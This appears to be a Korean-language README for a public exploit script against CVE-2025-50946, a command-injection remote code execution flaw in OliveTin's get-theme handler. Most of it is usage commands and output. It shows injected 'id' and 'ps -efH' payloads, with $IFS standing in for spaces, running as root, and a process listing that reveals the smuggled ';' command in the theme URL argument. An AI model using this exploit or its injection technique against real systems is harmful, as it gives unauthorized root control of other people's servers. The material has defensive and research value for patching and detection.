
Exploit script for CVE-2025-50946
CVE-2025-50946 (OliveTin get-theme RCE)에 대한 익스플로잇 스크립트입니다. 문자 요구 사항이 까다로워 여러 인수를 포함하는 많은 명령이 제대로 실행되지 않을 수 있습니다. 근본 원인을 추적하거나 스크립트를 더 강력하게 만들 시간을 투자하지 않았습니다. 필요한 것이 있으면 저에게 연락하거나 PR을 열어주세요.
이 스크립트의 기반이 된 원본 연구를 제공한 chrisWalker11에게 감사드립니다: link
기본 PoC:
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "id"
[*] Target: http://192.168.141.194:1337
[*] Payload: id
[*] Sending payload...
uid=0(root) gid=0(root) groups=0(root)
프로세스 목록 (출력의 일부만 표시):
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "ps -efH"
[*] Target: http://192.168.141.194:1337
[*] Payload: ps$IFS-efH
[*] Sending payload...
UID PID PPID C STIME TTY TIME CMD
root 2 0 0 09:20 ? 00:00:00 [kthreadd]
root 1 0 0 09:20 ? 00:00:01 /sbin/init
root 313 1 0 09:20 ? 00:00:00 /usr/lib/systemd/systemd-journald
root 738 1 0 09:20 ? 00:00:00 /usr/sbin/cron -f -P
root 749 1 0 09:20 ? 00:00:00 /usr/local/bin/OliveTin
root 2167 749 0 13:26 ? 00:00:00 sh -c olivetin-get-theme http://t;ps$IFS-efH
root 2168 2167 0 13:26 ? 00:00:00 ps -efH